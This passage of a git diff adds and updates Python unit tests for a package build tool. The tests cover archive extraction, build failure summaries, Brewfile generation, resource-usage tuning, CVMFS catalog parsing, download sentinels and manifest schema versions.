"hello.txt"))) + + def test_tgz_extracted(self): + """A .tgz archive (alias for .tar.gz) is also extracted.""" + from bits_helpers.workarea import _extract_source_archives + self._make_tar("pkg-1.0.tgz") + _extract_source_archives(self.source_dir) + self.assertTrue(os.path.exists(os.path.join(self.source_dir, "hello.txt"))) + + def test_expected_names_ignores_stale_archive(self): + """A stale archive (not in expected_names) is skipped, not extracted. + + Regression: a leftover ``pkg-1.1.tar.gz`` from a previous recipe revision + sharing the version directory must not be extracted (and must not abort + the build when it is a corrupt/HTML download), while the current + ``pkg-1.1.atlas1.tar.gz`` is unpacked normally. + """ + from bits_helpers.workarea import _extract_source_archives + self._make_tar("pkg-1.1.atlas1.tar.gz") # current, valid + stale = os.path.join(self.source_dir, "pkg-1.1.tar.gz") + with open(stale, "w") as fh: # corrupt leftover + fh.write("404 Not Found\n") + # Must not raise despite the corrupt stale file ... + _extract_source_archives(self.source_dir, + expected_names={"pkg-1.1.atlas1.tar.gz"}) + # ... and the valid archive's contents are present. + self.assertTrue(os.path.exists(os.path.join(self.source_dir, "hello.txt"))) + + def test_tar_bz2_extracted(self): + """A .tar.bz2 archive is extracted.""" + import tarfile, io + from bits_helpers.workarea import _extract_source_archives + archive_path = os.path.join(self.source_dir, "pkg-1.0.tar.bz2") + with tarfile.open(archive_path, "w:bz2") as tf: + content = b"hello\n" + info = tarfile.TarInfo(name="pkg-1.0/hello.txt") + info.size = len(content) + tf.addfile(info, io.BytesIO(content)) + _extract_source_archives(self.source_dir) + self.assertTrue(os.path.exists(os.path.join(self.source_dir, "hello.txt"))) + + def test_sentinel_written_after_extraction(self): + """After extraction, .bits_extracted is created.""" + from bits_helpers.workarea import _extract_source_archives + self._make_tar("pkg-1.0.tar.gz") + _extract_source_archives(self.source_dir) + self.assertTrue( + os.path.exists(os.path.join(self.source_dir, ".bits_extracted")) + ) + + def test_no_archives_no_sentinel(self): + """If there are no archives, no sentinel is written.""" + from bits_helpers.workarea import _extract_source_archives + open(os.path.join(self.source_dir, "README"), "w").close() + _extract_source_archives(self.source_dir) + self.assertFalse( + os.path.exists(os.path.join(self.source_dir, ".bits_extracted")) + ) + + def test_idempotent_second_call_skipped(self): + """A second call is a no-op when the sentinel already exists.""" + from bits_helpers.workarea import _extract_source_archives + self._make_tar("pkg-1.0.tar.gz") + _extract_source_archives(self.source_dir) + # Remove extracted file and call again — should not re-extract. + os.unlink(os.path.join(self.source_dir, "hello.txt")) + _extract_source_archives(self.source_dir) + self.assertFalse( + os.path.exists(os.path.join(self.source_dir, "hello.txt")) + ) + + # -- zip archives --------------------------------------------------------- + + def _make_zip(self, filename, strip_dir="pkg-1.0"): + """Create a small but valid zip archive with one file inside strip_dir/.""" + import zipfile + archive_path = os.path.join(self.source_dir, filename) + with zipfile.ZipFile(archive_path, "w") as zf: + zf.writestr(strip_dir + "/", "") # directory entry + zf.writestr(strip_dir + "/hello.txt", "hello\n") + return archive_path + + def test_zip_extracted_with_strip(self): + """A .zip archive is extracted and hello.txt lands in source_dir.""" + from bits_helpers.workarea import _extract_source_archives + self._make_zip("pkg-1.0.zip") + _extract_source_archives(self.source_dir) + self.assertTrue(os.path.exists(os.path.join(self.source_dir, "hello.txt"))) + + # -- checkout_sources integration ----------------------------------------- + + def test_checkout_sources_calls_extract(self): + """checkout_sources() calls _extract_source_archives after downloading.""" + from bits_helpers.workarea import checkout_sources + spec = { + "package": "mypkg", + "version": "1.0", + "commit_hash": "v1.0", + "tag": "v1.0", + "is_devel_pkg": False, + "sources": ["https://example.com/pkg-1.0.tar.gz"], + "scm": MagicMock(), + "source_checksums": {}, + "patch_checksums": {}, + } + with patch("bits_helpers.workarea.download"), \ + patch("bits_helpers.workarea.short_commit_hash", return_value="v1.0"), \ + patch("os.makedirs"), \ + patch("bits_helpers.workarea._extract_source_archives") as mock_extract: + checkout_sources(spec, "/sw", "/sw/MIRROR", containerised_build=False) + mock_extract.assert_called_once() + + if __name__ == "__main__": unittest.main() + + +# --------------------------------------------------------------------------- +# write_failure_summary() (--builders concise failure report) +# --------------------------------------------------------------------------- +class WriteFailureSummaryTest(unittest.TestCase): + """write_failure_summary() distils a readable per-run failure report.""" + + class _Sched: + def __init__(self, fails, errors): + self.buildFailures = fails + self.errors = errors + + def setUp(self): + self.dir = tempfile.mkdtemp() + + def tearDown(self): + shutil.rmtree(self.dir, ignore_errors=True) + + def test_summary_lists_direct_and_cascaded(self): + from bits_helpers.build import write_failure_summary + sched = self._Sched( + fails=[{"package": "motif@2.3.8", "log": "/sw/BUILD/motif-latest/log", + "excerpt": " Matched error lines (last 1):\n err: boom"}], + errors={"build:motif": "BUILD FAILED", + "build:foo": "The following dependencies could not complete:\nbuild:motif"}) + path, full = write_failure_summary(self.dir, sched) + self.assertTrue(path and os.path.exists(path)) + text = open(path).read() + self.assertIn("FAILED: motif@2.3.8", text) + self.assertIn("err: boom", text) # excerpt included + self.assertIn("1 package(s) failed", text) + self.assertIn("Skipped", text) + self.assertIn("foo", text) # cascaded dependent + self.assertNotIn("motif", text.split("Skipped")[1]) # not double-counted + # the combined full error log is also written + self.assertTrue(full and os.path.exists(full)) + self.assertIn("build:motif", open(full).read()) + + def test_no_failures_writes_nothing(self): + from bits_helpers.build import write_failure_summary + self.assertEqual(write_failure_summary(self.dir, self._Sched([], {})), (None, None)) + self.assertFalse(os.path.exists(os.path.join(self.dir, "build-summary.log"))) diff --git a/tests/test_brew.py b/tests/test_brew.py new file mode 100644 index 00000000..4b37eab0 --- /dev/null +++ b/tests/test_brew.py @@ -0,0 +1,91 @@ +"""Tests for `bits brew` Brewfile generation (bits_helpers.brew).""" + +import os +import tempfile +import unittest + +from bits_helpers.brew import collect_homebrew, render_brewfile, _as_list + + +RECIPES = { + # macOS Homebrew-sourced, formula == package name. + "readline.sh": ( + "package: readline\n" + "version: system\n" + 'prefer_system: ".*"\n' + "homebrew_formula: readline\n" + "---\n" + ), + # Formula name differs from the package name; carries a tap. + "png.sh": ( + "package: png\n" + "version: system\n" + 'prefer_system: "osx.*"\n' + "homebrew_formula: libpng\n" + "homebrew_taps:\n" + " - example/tap\n" + "---\n" + ), + # Declares a formula but gated to Linux only -> excluded on osx. + "linonly.sh": ( + "package: linonly\n" + "version: system\n" + 'prefer_system: "(?!osx).*"\n' + "homebrew_formula: linonly\n" + "---\n" + ), + # A normal built package: no homebrew_formula -> never contributes. + "zlib.sh": ( + "package: zlib\n" + "version: 1.3\n" + "---\n" + "#!/bin/bash\n" + "true\n" + ), + # A defaults helper that is not a valid recipe -> skipped quietly. + "defaults-release.sh": ( + "#!/bin/bash\n" + "echo not a recipe\n" + ), +} + + +class TestBrew(unittest.TestCase): + def setUp(self): + self.tmp = tempfile.mkdtemp(prefix="bits_brew_test_") + for name, body in RECIPES.items(): + with open(os.path.join(self.tmp, name), "w") as fh: + fh.write(body) + + def test_as_list(self): + self.assertEqual(_as_list(None), []) + self.assertEqual(_as_list("a"), ["a"]) + self.assertEqual(_as_list(["a", " b ", ""]), ["a", "b"]) + + def test_collect_osx(self): + formulae, taps = collect_homebrew(self.tmp, "osx_arm64") + self.assertEqual(formulae, {"readline", "libpng"}) + self.assertEqual(taps, {"example/tap"}) + + def test_collect_excludes_linux_only_on_osx(self): + formulae, _ = collect_homebrew(self.tmp, "osx_arm64") + self.assertNotIn("linonly", formulae) + + def test_collect_linux_is_empty(self): + # The Brewfile is a macOS artifact; a non-osx target yields nothing, + # even for recipes whose prefer_system is ".*". + formulae, taps = collect_homebrew(self.tmp, "slc9_x86-64") + self.assertEqual(formulae, set()) + self.assertEqual(taps, set()) + + def test_render_is_sorted_and_deterministic(self): + out = render_brewfile({"readline", "libpng"}, {"example/tap"}, "osx_arm64") + self.assertIn('tap "example/tap"', out) + # brew lines sorted: libpng before readline + self.assertLess(out.index('brew "libpng"'), out.index('brew "readline"')) + self.assertEqual(out, render_brewfile({"libpng", "readline"}, {"example/tap"}, "osx_arm64")) + self.assertTrue(out.endswith("\n")) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_build.py b/tests/test_build.py index cae7340c..1e3fc536 100644 --- a/tests/test_build.py +++ b/tests/test_build.py @@ -241,7 +241,7 @@ def dummy_exists(x): # Return False for any sapling-related paths if ".sl" in path_str or path_str.endswith("/sl"): return False - return { + known = { "/alidist": True, "/alidist/.git": True, "/sw": True, @@ -249,7 +249,17 @@ def dummy_exists(x): "/sw/MIRROR/root": True, "/sw/MIRROR/root/.git": True, "/sw/MIRROR/zlib": False, - }.get(path_str, DEFAULT) + } + if path_str in known: + return known[path_str] + # In a clean build the per-package source checkout has no pre-existing + # ".git" (so the clone-guard must not fire) and there is no in-progress + # download ".downloading" sentinel (so the prefetch wait returns at once). + # The broad DEFAULT (truthy) fallback would otherwise report both as + # present and make those guards misbehave. + if path_str.endswith(".git") or path_str.endswith(".downloading"): + return False + return DEFAULT # A few errors we should handle, together with the expected result @@ -287,6 +297,10 @@ class BuildTestCase(unittest.TestCase): @patch("os.listdir") @patch("bits_helpers.build.glob", new=lambda pattern: { "*": ["zlib"], + # Stale-sentinel cleanup scans these two depth-bounded globs; no stale + # .downloading sentinels in this fixture. + "/sw/SOURCES/*/*/*.downloading": [], + "/sw/TARS/*/store/*/*.downloading": [], f"/sw/TARS/{TEST_ARCHITECTURE}/store/{TEST_DEFAULT_RELEASE_BUILD_HASH[:2]}/{TEST_DEFAULT_RELEASE_BUILD_HASH}/*gz": [], f"/sw/TARS/{TEST_ARCHITECTURE}/store/{TEST_ZLIB_BUILD_HASH[:2]}/{TEST_ZLIB_BUILD_HASH}/*gz": [], f"/sw/TARS/{TEST_ARCHITECTURE}/store/{TEST_ROOT_BUILD_HASH[:2]}/{TEST_ROOT_BUILD_HASH}/*gz": [], diff --git a/tests/test_build_stats.py b/tests/test_build_stats.py new file mode 100644 index 00000000..0cd11dce --- /dev/null +++ b/tests/test_build_stats.py @@ -0,0 +1,161 @@ +""" +Tests for bits_helpers/build_stats.py — the self-tuning resource-stats loop +that feeds the --builders scheduler's ResourceManager. +""" + +import json +import os +import tempfile +import unittest +from unittest.mock import patch + +from bits_helpers import build_stats as bs +from bits_helpers.resource_manager import ResourceManager + + +class _FakeScheduler: + def debug(self, *a, **k): + pass + + +def _write_trace(work_dir, pkg, samples): + script_dir = os.path.join(work_dir, "SPECS", pkg) + os.makedirs(script_dir, exist_ok=True) + with open(os.path.join(script_dir, pkg + ".json"), "w") as fh: + json.dump(samples, fh) + return script_dir + + +class TestBuildStats(unittest.TestCase): + + def setUp(self): + self.dir = tempfile.mkdtemp() + + def test_aggregate_takes_peaks(self): + sd = _write_trace(self.dir, "root", [ + {"rss": 1_000_000_000, "cpu": 1400, "time": 100}, + {"rss": 3_000_000_000, "cpu": 2800, "time": 600}, # peak + {"rss": 2_000_000_000, "cpu": 900, "time": 650}, # time keeps rising + ]) + path = bs.aggregate_and_write(self.dir, {"root": sd}) + self.assertEqual(path, bs.default_stats_path(self.dir)) + stats = json.load(open(path)) + pkg = stats["packages"]["build"]["root"] + self.assertEqual(pkg["rss"], 3_000_000_000) + self.assertEqual(pkg["cpu"], 2800) + self.assertEqual(pkg["time"], 650) + # schema essentials present + self.assertIn("cpu", stats["resources"]) + self.assertEqual(stats["known"], []) + self.assertEqual(len(stats["defaults"]["cpu"]), 1) + + def test_empty_traces_writes_nothing(self): + sd = _write_trace(self.dir, "zlib", []) # empty sample list + path = bs.aggregate_and_write(self.dir, {"zlib": sd}) + self.assertIsNone(path) + self.assertFalse(os.path.isfile(bs.default_stats_path(self.dir))) + + def test_missing_trace_skipped(self): + # package with no json file at all → skipped, others still recorded + sd_ok = _write_trace(self.dir, "ok", [{"rss": 10, "cpu": 50, "time": 5}]) + path = bs.aggregate_and_write( + self.dir, {"ok": sd_ok, "gone": os.path.join(self.dir, "SPECS", "gone")}) + stats = json.load(open(path)) + self.assertIn("ok", stats["packages"]["build"]) + self.assertNotIn("gone", stats["packages"]["build"]) + + def test_autoload_restamps_resources(self): + sd = _write_trace(self.dir, "root", [{"rss": 5, "cpu": 7, "time": 9}]) + bs.aggregate_and_write(self.dir, {"root": sd}) + # corrupt the machine totals as if copied from another node + path = bs.default_stats_path(self.dir) + data = json.load(open(path)) + data["resources"] = {"cpu": -1, "rss": -1} + json.dump(data, open(path, "w")) + # autoload must re-stamp with sane current-machine values + ap = bs.autoload_stats_path(self.dir) + self.assertEqual(ap, path) + restamped = json.load(open(ap)) + self.assertGreater(restamped["resources"]["cpu"], 0) + + def test_autoload_missing_returns_none(self): + self.assertIsNone(bs.autoload_stats_path(self.dir)) + + def test_output_consumable_by_resource_manager(self): + sd = _write_trace(self.dir, "root", [{"rss": 2_000_000, "cpu": 200, "time": 60}]) + bs.aggregate_and_write(self.dir, {"root": sd}) + path = bs.autoload_stats_path(self.dir) + rm = ResourceManager(json.load(open(path)), _FakeScheduler()) + # a package present in the stats and a brand-new one (uses defaults) + admitted = rm.allocResourcesForExternals( + ["build:root", "build:brandnew"], count=4) + self.assertTrue(admitted) # at least one fits an idle machine + for name in admitted: + self.assertTrue(name.startswith("build:")) + + +class TestTuningReport(unittest.TestCase): + """tuning_report(): CPU-utilisation estimate + knob recommendation.""" + + def setUp(self): + self.dir = tempfile.mkdtemp() + + @staticmethod + def _ramp(cpu, n): + # n one-second samples each reporting `cpu` (summed-percent) → core-secs + # = (cpu/100) * n, duration = n. + return [{"rss": 10, "cpu": cpu, "time": t} for t in range(1, n + 1)] + + @patch("bits_helpers.build_stats.multiprocessing.cpu_count", return_value=4) + def test_high_util_no_headroom(self, _cc): + sd = _write_trace(self.dir, "root", self._ramp(400, 10)) # 4 cores * 10s + rep = bs.tuning_report({"root": sd}, wall_seconds=10, builders=2, + jobs=4, oversubscribe=1.0) + self.assertFalse(rep["headroom"]) + self.assertAlmostEqual(rep["cpu_utilisation"], 1.0, places=2) + self.assertIn("good", rep["recommendation"].lower()) + + @patch("bits_helpers.build_stats.multiprocessing.cpu_count", return_value=4) + def test_low_util_busy_slots_suggests_oversubscribe(self, _cc): + # Two packages run almost the whole wall (slots full) but each uses ~1 + # core → cores idle → suggest higher --oversubscribe. + a = _write_trace(self.dir, "a", self._ramp(100, 95)) + b = _write_trace(self.dir, "b", self._ramp(100, 95)) + rep = bs.tuning_report({"a": a, "b": b}, wall_seconds=100, builders=2, + jobs=8, oversubscribe=1.25) + self.assertTrue(rep["headroom"]) + self.assertGreaterEqual(rep["avg_concurrency"], 1.6) + self.assertIn("oversubscribe", rep["recommendation"]) + self.assertGreater(rep["suggested"]["oversubscribe"], 1.25) + self.assertEqual(rep["suggested"]["builders"], 2) + + @patch("bits_helpers.build_stats.multiprocessing.cpu_count", return_value=4) + def test_low_util_empty_slots_suggests_more_builders(self, _cc): + # One short package on a 4-builder run → slots mostly empty → DAG-bound + # → suggest more --builders. + sd = _write_trace(self.dir, "solo", self._ramp(200, 40)) + rep = bs.tuning_report({"solo": sd}, wall_seconds=100, builders=4, + jobs=32, oversubscribe=1.0) + self.assertTrue(rep["headroom"]) + self.assertLess(rep["avg_concurrency"], 4 * 0.8) + self.assertIn("builders", rep["recommendation"]) + self.assertGreater(rep["suggested"]["builders"], 4) + + def test_no_traces_or_zero_wall_returns_none(self): + self.assertIsNone(bs.tuning_report({}, 100, 4, 32, 1.0)) + sd = _write_trace(self.dir, "x", self._ramp(100, 5)) + self.assertIsNone(bs.tuning_report({"x": sd}, 0, 4, 32, 1.0)) + + @patch("bits_helpers.build_stats.multiprocessing.cpu_count", return_value=4) + def test_tuning_embedded_in_stats_file(self, _cc): + sd = _write_trace(self.dir, "root", self._ramp(100, 50)) + rep = bs.tuning_report({"root": sd}, wall_seconds=100, builders=2, + jobs=8, oversubscribe=1.0) + bs.aggregate_and_write(self.dir, {"root": sd}, tuning=rep) + stats = json.load(open(bs.default_stats_path(self.dir))) + self.assertEqual(stats["tuning"], rep) + self.assertIn("recommendation", stats["tuning"]) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_cvmfs_catalog.py b/tests/test_cvmfs_catalog.py new file mode 100644 index 00000000..96abc471 --- /dev/null +++ b/tests/test_cvmfs_catalog.py @@ -0,0 +1,116 @@ +import os +import sqlite3 +import tempfile +import unittest + +from bits_helpers.cvmfs_catalog import ( + FastPathUnavailable, + kFlagDir, + kFlagFile, + list_from_catalog_db, + main, + parse_catalog_counters, + subtree_nested, +) + + +def _make_catalog(rows): + """Write a minimal cvmfs-style catalog SQLite; rows: (name,m1,m2,p1,p2,flags).""" + fd, path = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + con = sqlite3.connect(path) + con.execute("CREATE TABLE catalog (name TEXT, md5path_1 INTEGER, " + "md5path_2 INTEGER, parent_1 INTEGER, parent_2 INTEGER, " + "flags INTEGER)") + con.executemany("INSERT INTO catalog VALUES (?,?,?,?,?,?)", rows) + con.commit() + con.close() + return path + + +# A small install-tree-shaped catalog rooted at "x": +# x/ROOT, x/ROOT/v6.40 (dir), x/ROOT/v6.40/etc/modulefiles/ROOT (file), +# x/Boost, x/Boost/1.90 (dir) +ROWS = [ + ("x", 0, 0, 999, 999, kFlagDir), # catalog root (parent absent) + ("ROOT", 1, 0, 0, 0, kFlagDir), # depth 1 + ("v6.40", 2, 0, 1, 0, kFlagDir), # depth 2 dir + ("etc", 3, 0, 2, 0, kFlagDir), + ("modulefiles", 4, 0, 3, 0, kFlagDir), + ("ROOT", 5, 0, 4, 0, kFlagFile), # the modulefile + ("Boost", 6, 0, 0, 0, kFlagDir), # depth 1 + ("1.90", 7, 0, 6, 0, kFlagDir), # depth 2 dir +] + + +class CatalogReconstructionTest(unittest.TestCase): + def test_paths_relative_to_catalog_root(self): + db = _make_catalog(ROWS) + try: + entries = dict(list_from_catalog_db(db)) + finally: + os.unlink(db) + # Root "x" is dropped; everything else is relative to it. + self.assertEqual( + set(entries), + {"ROOT", "ROOT/v6.40", "ROOT/v6.40/etc", + "ROOT/v6.40/etc/modulefiles", "ROOT/v6.40/etc/modulefiles/ROOT", + "Boost", "Boost/1.90"}) + + def test_depth2_dirs_filter(self): + db = _make_catalog(ROWS) + try: + entries = list_from_catalog_db(db) + finally: + os.unlink(db) + depth2 = sorted(rel for rel, flags in entries + if (flags & kFlagDir) and rel.count("/") == 1) + self.assertEqual(depth2, ["Boost/1.90", "ROOT/v6.40"]) + + def test_modulefiles_filter(self): + db = _make_catalog(ROWS) + try: + entries = list_from_catalog_db(db) + finally: + os.unlink(db) + files = sorted(rel for rel, flags in entries if flags & kFlagFile) + self.assertEqual(files, ["ROOT/v6.40/etc/modulefiles/ROOT"]) + + def test_bad_schema_raises_fastpath_unavailable(self): + fd, db = tempfile.mkstemp(suffix=".sqlite") + os.close(fd) + con = sqlite3.connect(db) + con.execute("CREATE TABLE notcatalog (x INTEGER)") + con.commit() + con.close() + try: + with self.assertRaises(FastPathUnavailable): + list_from_catalog_db(db) + finally: + os.unlink(db) + + +class CountersParseTest(unittest.TestCase): + def test_parse_hash_mountpoint_and_counters(self): + txt = ("catalog_hash: abc123\n" + "catalog_mountpoint: /cvmfs/x/modules\n" + "self_regular,5\n" + "subtree_nested,0\n") + info = parse_catalog_counters(txt) + self.assertEqual(info["hash"], "abc123") + self.assertEqual(info["mountpoint"], "/cvmfs/x/modules") + self.assertEqual(subtree_nested(info["counters"]), 0) + + +class MainFallbackContractTest(unittest.TestCase): + def test_nonexistent_dir_returns_3(self): + self.assertEqual(main(["/no/such/cvmfs/dir"]), 3) + + def test_non_cvmfs_dir_returns_3(self): + # A real local dir with no CVMFS xattr -> fast path unavailable -> 3. + with tempfile.TemporaryDirectory() as d: + self.assertEqual(main([d]), 3) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_cvmfs_layout.py b/tests/test_cvmfs_layout.py new file mode 100644 index 00000000..f4e6b62b --- /dev/null +++ b/tests/test_cvmfs_layout.py @@ -0,0 +1,50 @@ +"""Tests for the templated CVMFS layout resolver (bits_helpers/cvmfs_layout.py).""" + +import os +import sys +import unittest + +sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__)))) + +from bits_helpers.cvmfs_layout import resolve_cvmfs_layout as R + +ARCH = "ubuntu2510_x86-64-gcc15-dbg" + + +class CvmfsLayoutTest(unittest.TestCase): + def test_none_when_unconfigured(self): + self.assertIsNone(R({}, ARCH)) + self.assertIsNone(R(None, ARCH)) + self.assertIsNone(R({"variables": {"x": "1"}}, ARCH)) + + def test_full_layout_resolves_architecture(self): + layout = R({ + "cvmfs_dir": "/cvmfs/sft.cern.ch/lcg/releases", + "install_dir": "%(architecture)s/Packages", + "module_dir": "%(architecture)s/modules", + }, ARCH) + self.assertEqual(layout["install_path"], + "/cvmfs/sft.cern.ch/lcg/releases/%s/Packages" % ARCH) + self.assertEqual(layout["module_path"], + "/cvmfs/sft.cern.ch/lcg/releases/%s/modules" % ARCH) + + def test_install_dir_defaults_to_arch(self): + layout = R({"cvmfs_dir": "/cvmfs/x"}, ARCH) + self.assertEqual(layout["install_dir"], ARCH) + self.assertEqual(layout["module_dir"], "%s/modules" % ARCH) + self.assertEqual(layout["install_path"], "/cvmfs/x/" + ARCH) + + def test_unknown_placeholder_left_intact(self): + layout = R({"cvmfs_dir": "/cvmfs/x", + "install_dir": "%(nope)s/%(architecture)s"}, ARCH) + self.assertEqual(layout["install_dir"], "%(nope)s/" + ARCH) + + def test_relative_when_no_cvmfs_dir(self): + # install_dir/module_dir without cvmfs_dir -> relative paths (local use) + layout = R({"install_dir": "%(architecture)s/Packages"}, ARCH) + self.assertEqual(layout["cvmfs_dir"], "") + self.assertEqual(layout["install_path"], "%s/Packages" % ARCH) + + +if __name__ == "__main__": + unittest.main() diff --git a/tests/test_defaults_requires_provider.py b/tests/test_defaults_requires_provider.py index 73377512..e49f4310 100644 --- a/tests/test_defaults_requires_provider.py +++ b/tests/test_defaults_requires_provider.py @@ -480,7 +480,7 @@ def tearDown(self): def _write_recipe(self, name: str, yaml_header: str) -> str: return _write_sh(self.config_dir, name, yaml_header) - def _call_getPackageList(self, packages, overrides=None): + def _call_getPackageList(self, packages, overrides=None, architecture="slc7_x86-64"): """Thin wrapper around getPackageList using the test config dir.""" from bits_helpers.utilities import getPackageList from bits_helpers.cmd import getstatusoutput @@ -492,7 +492,7 @@ def _call_getPackageList(self, packages, overrides=None): configDir = self.config_dir, preferSystem = False, noSystem = None, - architecture = "slc7_x86-64", + architecture = architecture, disable = [], defaults = ["release"], performPreferCheck = lambda pkg, cmd: (1, ""), @@ -546,6 +546,26 @@ def test_defaults_requires_does_not_cause_cycle(self): # not built as a regular package self.assertNotIn("my-provider", specs) + def test_arch_gated_override(self): + """An override key may carry a ':matcher' suffix; it applies only when + the matcher is active for the architecture (e.g. 'root:osx' => macOS).""" + self._write_recipe("defaults-release", "package: defaults-release\nversion: '1'\n") + self._write_recipe("root", "package: root\nversion: v6.38.00\ntag: v6-38-00\n") + # parseDefaults lowercases override keys, so pass the lowercased form. + ovr = {"defaults-release": {}, + "root:osx": {"version": "v6.40.00", "tag": "v6-40-00"}} + + specs_osx, _ = self._call_getPackageList( + ["root"], overrides=ovr, architecture="osx_arm64") + self.assertEqual(specs_osx["root"]["version"], "v6.40.00", + "osx: ':osx' override should apply") + self.assertEqual(specs_osx["root"]["tag"], "v6-40-00") + + specs_lin, _ = self._call_getPackageList( + ["root"], overrides=ovr, architecture="slc7_x86-64") + self.assertEqual(specs_lin["root"]["version"], "v6.38.00", + "linux: ':osx' override must be skipped, recipe default kept") + def test_defaults_build_requires_does_not_cause_cycle(self): """Same as above but using build_requires in the defaults file.""" self._write_recipe("defaults-release", textwrap.dedent("""\ diff --git a/tests/test_defaultswithinclude.py b/tests/test_defaultswithinclude.py index 8804b5e1..670d92e8 100644 --- a/tests/test_defaultswithinclude.py +++ b/tests/test_defaultswithinclude.py @@ -62,14 +62,17 @@ def test_nested_includes(self): self.assertEqual(data["root"]["nested"]["x"], 42) def test_missing_include_raises(self): - # Include a missing yaml file raises FileNotFoundError + # A missing !include file must raise a yaml.YAMLError (ConstructorError) + # with the filename in the message, rather than a raw FileNotFoundError. + import yaml main = self._write("main.yaml", """ missing: !include nofile.yaml """) - with self.assertRaises(FileNotFoundError): + with self.assertRaises(yaml.YAMLError) as ctx: with open(main) as f: yamlLoad(f) + self.assertIn("nofile.yaml", str(ctx.exception)) def test_relative_path_resolution(self): # !include paths should be resolved relative to the parent file. diff --git a/tests/test_download_sentinels.py b/tests/test_download_sentinels.py index 223d27db..3c1419e1 100644 --- a/tests/test_download_sentinels.py +++ b/tests/test_download_sentinels.py @@ -174,6 +174,49 @@ def remove_immediately(): self.assertLess(elapsed, 1.5) t.join(timeout=1.0) + def test_stale_sentinel_from_dead_pid_returns_immediately(self): + """A sentinel owned by a PID that no longer exists is stale; the wait + must not block on it (a crashed prefetch worker can never hang us).""" + target = os.path.join(self.tmp, "orphan.tar.gz") + sentinel = _sentinel_path(target) + # Find a PID that is (almost certainly) not running. + dead_pid = 2 ** 22 + while True: + try: + os.kill(dead_pid, 0) + dead_pid -= 1 # in use; try another + except OSError: + break # not in use -> good + with open(sentinel, "w") as fh: + fh.write(str(dead_pid)) + start = time.monotonic() + _wait_for_sentinel(target) + self.assertLess(time.monotonic() - start, 0.5, + "stale (dead-PID) sentinel should not be waited on") + + def test_unreadable_sentinel_is_treated_as_stale(self): + """An empty/garbage sentinel cannot identify a live download and must + be treated as stale rather than waited on forever.""" + target = os.path.join(self.tmp, "garbage.tar.gz") + with open(_sentinel_path(target), "w") as fh: + fh.write("not-a-pid") + start = time.monotonic() + _wait_for_sentinel(target) + self.assertLess(time.monotonic() - start, 0.5, + "unparseable sentinel should be treated as stale") + + def test_timeout_bounds_the_wait(self): + """Even if a sentinel is held by a live PID and never cleared, the wait + returns after the timeout instead of blocking forever.""" + target = os.path.join(self.tmp, "forever.tar.gz") + _acquire_download(target) # owned by THIS (live) process + start = time.monotonic() + _wait_for_sentinel(target, timeout=0.5, poll=0.1) + elapsed = time.monotonic() - start + self.assertGreaterEqual(elapsed, 0.5) + self.assertLess(elapsed, 2.0) + os.unlink(_sentinel_path(target)) + class SentinelIntegrationTest(unittest.TestCase): """End-to-end: one thread acquires, another waits, file is eventually ready.""" diff --git a/tests/test_hashing.py b/tests/test_hashing.py index 34caae14..76f4368c 100644 --- a/tests/test_hashing.py +++ b/tests/test_hashing.py @@ -65,3 +65,45 @@ def test_hashes_match_build_log(self) -> None: if __name__ == '__main__': unittest.main() + + +class NormalizeRecipeForHashTestCase(unittest.TestCase): + """normalize_recipe_for_hash strips comments/blank lines for hashing only.""" + + def _n(self, s): + from bits_helpers.build import normalize_recipe_for_hash + return normalize_recipe_for_hash(s) + + def test_drops_full_line_comments_and_blanks(self): + self.assertEqual(self._n("# a\nmake\n\n # b\n ./x\n"), "make\n ./x") + + def test_keeps_inline_hash_and_code(self): + # A '#' after code is not a full-line comment; the line is kept verbatim. + self.assertEqual(self._n('echo "a # b"\n'), 'echo "a # b"') + + def test_comment_only_edits_produce_identical_normalization(self): + a = "# explain the thing in one way\nConfigure() { cmake .; }\n" + b = "# totally different wording here\n\nConfigure() { cmake .; }\n" + self.assertEqual(self._n(a), self._n(b)) + + def test_preserves_hash_lines_inside_heredoc(self): + r = ("cat > f <<'EOF'\n" + "#%Module1.0\n" + "# not a comment, this is data\n" + "EOF\n" + "# this one is a real comment\n" + "make\n") + out = self._n(r) + self.assertIn("#%Module1.0", out) + self.assertIn("# not a comment, this is data", out) + self.assertNotIn("# this one is a real comment", out) + + def test_handles_dash_heredoc_terminator(self): + r = "cat <<-END\n#data\n\tEND\n#comment\ndone\n" + out = self._n(r) + self.assertIn("#data", out) + self.assertNotIn("#comment", out) + self.assertIn("done", out) + + def test_non_string_passthrough(self): + self.assertEqual(self._n(None), None) diff --git a/tests/test_manifest.py b/tests/test_manifest.py index ae3a4040..78aed0bc 100644 --- a/tests/test_manifest.py +++ b/tests/test_manifest.py @@ -287,6 +287,33 @@ def test_built_from_source(self): self.assertEqual(pkg["outcome"], "built_from_source") self.assertEqual(pkg["tarball_sha256"], _sha256(content)) + def test_patches_and_variables_recorded(self): + # v3: patches (name + recorded checksum) and resolved variables. + spec = _make_spec() + spec["patches"] = ["fix-a.patch", "fix-b.patch"] + spec["patch_checksums"] = {"fix-a.patch": "sha256:aaa"} # b has no checksum + spec["variables"] = {"foo": "bar", "ver": "1.2"} + m = _make_manifest(self.tmp) + m.add_package(spec, "built_from_source") + pkg = self._load(m)["packages"][0] + self.assertEqual(pkg["patches"], [ + {"name": "fix-a.patch", "checksum": "sha256:aaa"}, + {"name": "fix-b.patch", "checksum": None}, + ]) + self.assertEqual(pkg["variables"], {"foo": "bar", "ver": "1.2"}) + + def test_patches_and_variables_default_empty(self): + # A package with no patches/variables gets empty list / empty dict. + m = _make_manifest(self.tmp) + m.add_package(self.spec, "already_installed") + pkg = self._load(m)["packages"][0] + self.assertEqual(pkg["patches"], []) + self.assertEqual(pkg["variables"], {}) + + def test_schema_version_is_3(self): + m = _make_manifest(self.tmp) + self.assertEqual(self._load(m)["schema_version"], 3) + def test_multiple_packages_recorded(self): m = _make_manifest(self.tmp) for i in range(5): @@ -535,11 +562,11 @@ def test_url_with_comma_in_query_string(self): self.assertEqual(entry["url"], url) self.assertIsNone(entry["checksum"]) - def test_schema_version_is_2(self): - """Schema version must reflect the source_checksums addition.""" + def test_schema_version_current(self): + """Schema version reflects the latest additions (v3: patches + variables).""" m = _make_manifest(self.tmp) data = self._load(m) - self.assertEqual(data["schema_version"], 2) + self.assertEqual(data["schema_version"], 3) if __name__ == "__main__": diff --git a/tests/test_memory.py b/tests/test_memory.py index d3f205d7..728f4951 100644 --- a/tests/test_memory.py +++ 